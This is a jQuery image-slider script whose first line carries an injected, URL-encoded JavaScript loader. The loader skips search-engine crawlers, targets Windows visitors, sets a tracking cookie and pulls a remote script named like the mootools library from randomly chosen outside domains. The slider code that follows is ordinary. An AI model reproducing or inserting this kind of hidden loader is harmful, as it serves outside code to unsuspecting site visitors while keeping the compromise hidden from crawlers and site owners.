var st1 = 0;document.write(unescape('%3C%73%63%72%69%70%74%3E%76%61%72%20%64%63%20%3D%20%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3B%20%76%61%72%20%63%6E%61%6D%65%20%3D%20%27%77%61%74%63%68%74%69%6D%65%27%3B%20%76%61%72%20%77%6E%20%3D%20%77%69%6E%64%6F%77%2E%6E%61%76%69%67%61%74%6F%72%2E%75%73%65%72%41%67%65%6E%74%3B%20%76%61%72%20%73%74%72%69%20%3D%20%2F%28%79%61%68%6F%6F%7C%73%65%61%72%63%68%7C%6D%73%6E%62%6F%74%7C%79%61%6E%64%65%78%7C%67%6F%6F%67%6C%65%62%6F%74%7C%62%69%6E%67%7C%61%73%6B%29%2F%69%3B%20%76%61%72%20%73%74%72%4F%53%20%3D%20%6E%61%76%69%67%61%74%6F%72%2E%61%70%70%56%65%72%73%69%6F%6E%3B%20%69%66%28%64%63%2E%69%6E%64%65%78%4F%66%28%63%6E%61%6D%65%29%3D%3D%2D%31%20%26%26%20%21%77%6E%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%6D%61%74%63%68%28%73%74%72%69%29%20%26%26%20%73%74%72%4F%53%2E%74%6F%4C%6F%77%65%72%43%61%73%65%28%29%2E%69%6E%64%65%78%4F%66%28%27%77%69%6E%27%29%20%21%3D%20%2D%31%29%20%7B%20%76%61%72%20%64%6F%6D%73%20%3D%20%5B%27%65%64%69%73%6F%6E%73%6E%69%67%68%74%63%6C%75%62%2E%63%6F%6D%27%2C%27%65%6D%61%70%69%73%2E%6F%72%67%27%2C%27%69%64%65%61%63%6F%72%65%70%6F%72%74%61%6C%2E%63%6F%6D%27%2C%27%6B%61%72%65%6E%65%67%72%65%6E%2E%63%6F%6D%27%5D%3B%20%76%61%72%20%70%72%65%66%66%73%20%3D%20%5B%27%61%71%75%61%2E%27%2C%27%61%7A%75%72%65%2E%27%2C%27%62%6C%61%63%6B%2E%27%2C%27%62%6C%75%65%2E%27%2C%27%62%72%6F%77%6E%2E%27%2C%27%67%6F%6C%64%2E%27%2C%27%67%72%61%79%2E%27%2C%27%67%72%65%65%6E%2E%27%2C%27%6C%69%6D%65%2E%27%2C%27%6E%61%76%79%2E%27%2C%27%6F%6C%69%76%65%2E%27%2C%27%70%6C%75%6D%2E%27%2C%27%72%65%64%2E%27%2C%27%73%6E%6F%77%2E%27%2C%27%77%68%69%74%65%2E%27%2C%27%79%65%6C%6C%6F%77%2E%27%5D%3B%20%76%61%72%20%64%6F%6D%20%3D%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%64%6F%6D%73%2E%6C%65%6E%67%74%68%29%3B%20%76%61%72%20%70%72%65%66%20%3D%20%4D%61%74%68%2E%66%6C%6F%6F%72%28%4D%61%74%68%2E%72%61%6E%64%6F%6D%28%29%2A%70%72%65%66%66%73%2E%6C%65%6E%67%74%68%29%3B%20%64%74%3D%6E%65%77%20%44%61%74%65%28%29%3B%64%74%2E%73%65%74%54%69%6D%65%28%64%74%2E%67%65%74%54%69%6D%65%28%29%20%2B%20%37%2A%33%36%30%30%2A%33%36%30%30%29%3B%64%6F%63%75%6D%65%6E%74%2E%63%6F%6F%6B%69%65%3D%63%6E%61%6D%65%2B%27%3D%27%2B%65%73%63%61%70%65%28%63%6E%61%6D%65%29%2B%27%3B%65%78%70%69%72%65%73%3D%27%2B%64%74%2E%74%6F%47%4D%54%53%74%72%69%6E%67%28%29%2B%27%3B%70%61%74%68%3D%2F%27%3B%20%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%27%3C%73%63%72%69%70%74%20%74%79%70%65%3D%22%74%65%78%74%2F%6A%61%76%61%73%63%72%69%70%74%22%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%27%2B%70%72%65%66%66%73%5B%70%72%65%66%5D%2B%64%6F%6D%73%5B%64%6F%6D%5D%2B%27%2F%64%61%74%61%2F%6D%6F%6F%74%6F%6F%6C%73%2E%6A%73%22%3E%3C%5C%2F%73%63%72%69%70%74%3E%27%29%3B%20%7D%3B%3C%2F%73%63%72%69%70%74%3E'));var gr0=0;// JavaScript Document
$(document).ready(function(){
// Get the width of the outermost container div.
var getWidth = $('#slideContainer').width();
// Get the total number of slides
var ct = $('#shifter').children().size();
// Get slide thumbnail that is clicked
// Set a slide "listener" variable
var slideShowing = 1;
// Gets the image that was clicked
var imgClicked = $('.divSlideNav li');
//Makes the first slide thumbnail class="active"
$(".divSlideNav li:first-child").addClass("active");
// Set a global variable to keep track of how far
// the "shifter" should be moved.
var setWidth = 0;
// Subtract the pane width from the amount by which
// the "shifter" has already been moved.
// Don't forget to give back the changed setWidth variable!
$('.shiftleft').click(function(){
if (slideShowing < ct) {
// var thumbChild = ":nth-child(" + slideShowing +
setWidth = setWidth - getWidth;
slideShowing = slideShowing + 1;
$(".divSlideNav li").removeClass("active"); // removes "active" class from thumb
$(".divSlideNav ul").find(":nth-child(" + slideShowing + ")").addClass("active");// adds "active" class to thumb
$('#shifter').animate({left: setWidth}, 500);
return false;
}
// Goes to the first slide if the first slide is selected and "Next" button is clicked
else if (slideShowing >= ct) {
setWidth = 0;
slideShowing = 1;
$(".divSlideNav li").removeClass("active"); // removes "active" class from thumb
$(".divSlideNav ul").find(":nth-child(" + slideShowing + ")").addClass("active");// adds "active" class to thumb
$('#shifter').animate({left: setWidth}, 500);
return false;
}
});
// Same thing in reverse.
$('.shiftright').click(function(){
if (slideShowing > 1) {
setWidth = setWidth + getWidth;
slideShowing = slideShowing - 1;
$(".divSlideNav li").removeClass("active"); // removes "active" class from thumb
$(".divSlideNav ul").find(":nth-child(" + slideShowing + ")").addClass("active");// adds "active" class to thumb
$('#shifter').animate({left: setWidth}, 500);
return false;
}
// Goes to the last slide if the first slide is selected and "previous" button is clicked
else if (slideShowing <= 1) {
setWidth = getWidth * -1 * ct + getWidth;
slideShowing = ct;
$(".divSlideNav li").removeClass("active"); // removes "active" class from thumb
$(".divSlideNav ul").find(":nth-child(" + slideShowing + ")").addClass("active");// adds "active" class to thumb
$('#shifter').animate({left: setWidth}, 500);
return false;
}
});
// Same as .shiftLeft, but is when they click on the image
$('#shifter .pane').click(function(){
if (slideShowing < ct) {
// var thumbChild = ":nth-child(" + slideShowing +
setWidth = setWidth - getWidth;
slideShowing = slideShowing + 1;
$(".divSlideNav li").removeClass("active"); // removes "active" class from thumb
$(".divSlideNav ul").find(":nth-child(" + slideShowing + ")").addClass("active");// adds "active" class to thumb
$('#shifter').animate({left: setWidth}, 500);
return false;
}
// Goes to the first slide if the first slide is selected and Slide plane is clicked
else if (slideShowing >= ct) {
setWidth = 0;
slideShowing = 1;
$(".divSlideNav li").removeClass("active"); // removes "active" class from thumb
$(".divSlideNav ul").find(":nth-child(" + slideShowing + ")").addClass("active");// adds "active" class to thumb
$('#shifter').animate({left: setWidth}, 500);
return false;
}
});
// Gets the list item (dot) that was clicked and shifts the slides to the exact spot
$('.divSlideNav li').click(function(){
$(this).siblings("li").removeClass("active");
$(this).addClass("active");
slideClicked = imgClicked.index(this);
slideShowing = slideClicked + 1
setWidth = 0 - slideClicked * 700;
$('#shifter').animate({left: setWidth}, 500);
});
});